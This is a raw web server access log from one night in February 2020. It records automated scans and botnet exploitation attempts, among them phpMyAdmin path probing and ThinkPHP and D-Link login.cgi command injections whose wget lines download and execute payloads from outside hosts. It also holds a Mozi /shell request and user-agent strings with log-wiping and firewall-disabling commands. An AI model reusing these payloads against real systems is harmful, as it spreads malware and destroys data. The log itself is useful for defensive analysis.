118.24.174.175 - - [22/Feb/2020:04:08:48 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:08:51 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:08:51 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:08:55 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:08:55 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:08:56 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
190.124.162.73 - - [22/Feb/2020:04:08:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.24.174.175 - - [22/Feb/2020:04:08:59 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:08:59 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:00 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:00 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:01 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:01 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:01 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:01 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:02 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:03 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:03 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:04 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:04 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:04 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:04 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:05 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:05 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:05 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:05 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:06 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:07 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:07 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:08 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:08 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:08 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:08 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:09 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:09 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:09 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:09 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:10 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:11 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:11 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:12 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:12 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:12 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:12 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:13 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:13 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:13 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:13 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:14 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:15 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:15 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:16 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:16 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:16 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:17 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:17 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:04:09:17 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
42.52.45.87 - - [22/Feb/2020:04:11:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
118.89.144.131 - - [22/Feb/2020:04:18:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
190.28.78.172 - - [22/Feb/2020:04:18:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
190.28.78.172 - - [22/Feb/2020:04:27:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
191.13.65.37 - - [22/Feb/2020:04:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
217.15.151.131 - - [22/Feb/2020:04:28:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.31.113.143 - - [22/Feb/2020:04:35:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
36.89.80.52 - - [22/Feb/2020:04:37:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
139.162.119.197 - - [22/Feb/2020:04:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
49.69.50.178 - - [22/Feb/2020:04:41:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
169.197.108.38 - - [22/Feb/2020:04:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
62.173.149.130 - - [22/Feb/2020:04:52:02 +0100] "GET /provisioning.cfg HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
62.173.149.130 - - [22/Feb/2020:04:52:02 +0100] "GET /provisioning.cfg HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
62.173.149.130 - - [22/Feb/2020:04:52:02 +0100] "GET /provisioning.cfg HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
62.173.149.130 - - [22/Feb/2020:04:52:02 +0100] "GET /provisioning.cfg HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
62.173.149.130 - - [22/Feb/2020:04:52:02 +0100] "GET /provisioning.cfg HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
62.173.149.130 - - [22/Feb/2020:04:52:02 +0100] "GET /provisioning.cfg HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
62.173.149.130 - - [22/Feb/2020:04:52:02 +0100] "GET /provisioning.cfg HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
62.173.149.130 - - [22/Feb/2020:04:52:02 +0100] "GET /provisioning.cfg HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
62.173.149.130 - - [22/Feb/2020:04:52:02 +0100] "GET /provisioning.cfg HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
62.173.149.130 - - [22/Feb/2020:04:52:02 +0100] "GET /provisioning.cfg HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
221.125.44.233 - - [22/Feb/2020:05:02:00 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
103.249.180.19 - - [22/Feb/2020:05:03:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
31.155.154.200 - - [22/Feb/2020:05:16:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
169.197.108.6 - - [22/Feb/2020:05:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
194.247.178.81 - - [22/Feb/2020:05:16:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
112.17.88.160 - - [22/Feb/2020:05:18:08 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://112.17.88.160:40197/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
194.247.178.81 - - [22/Feb/2020:05:18:42 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.247.178.81 - - [22/Feb/2020:05:19:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.247.178.81 - - [22/Feb/2020:05:21:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.247.178.81 - - [22/Feb/2020:05:22:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.247.178.81 - - [22/Feb/2020:05:23:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.247.178.81 - - [22/Feb/2020:05:24:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.247.178.81 - - [22/Feb/2020:05:25:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.247.178.81 - - [22/Feb/2020:05:26:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
194.247.178.81 - - [22/Feb/2020:05:27:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
114.5.130.10 - - [22/Feb/2020:05:28:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
217.26.162.115 - - [22/Feb/2020:05:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.101.0.209 - - [22/Feb/2020:05:44:45 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:05:45:26 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:05:46:19 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
222.70.85.126 - - [22/Feb/2020:05:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
94.102.51.22 - - [22/Feb/2020:05:46:53 +0100] "GET http://icanhazip.com/ HTTP/1.1" 200 1229 "-" "curl/7.60.0"
94.230.229.53 - - [22/Feb/2020:05:48:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.96.11.225 - - [22/Feb/2020:05:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
216.244.66.231 - - [22/Feb/2020:06:04:23 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
220.121.0.69 - - [22/Feb/2020:06:06:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [22/Feb/2020:06:06:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
216.244.66.231 - - [22/Feb/2020:06:06:33 +0100] "GET /seiten/referenzen.htm HTTP/1.1" 404 339 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
220.121.0.69 - - [22/Feb/2020:06:06:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [22/Feb/2020:06:06:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
104.239.141.155 - - [22/Feb/2020:06:06:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
220.121.0.69 - - [22/Feb/2020:06:07:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
66.240.205.34 - - [22/Feb/2020:06:08:39 +0100] "Gh0st\xad" 501 321 "-" "-"
197.157.109.198 - - [22/Feb/2020:06:10:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
197.157.109.198 - - [22/Feb/2020:06:11:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
92.45.192.156 - - [22/Feb/2020:06:11:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
95.5.36.197 - - [22/Feb/2020:06:12:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.17.126.180 - - [22/Feb/2020:06:14:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.241.128.80 - - [22/Feb/2020:06:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
84.51.0.82 - - [22/Feb/2020:06:23:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
92.27.134.126 - - [22/Feb/2020:06:27:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
83.219.136.200 - - [22/Feb/2020:06:31:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
125.128.241.71 - - [22/Feb/2020:06:36:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [22/Feb/2020:06:36:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
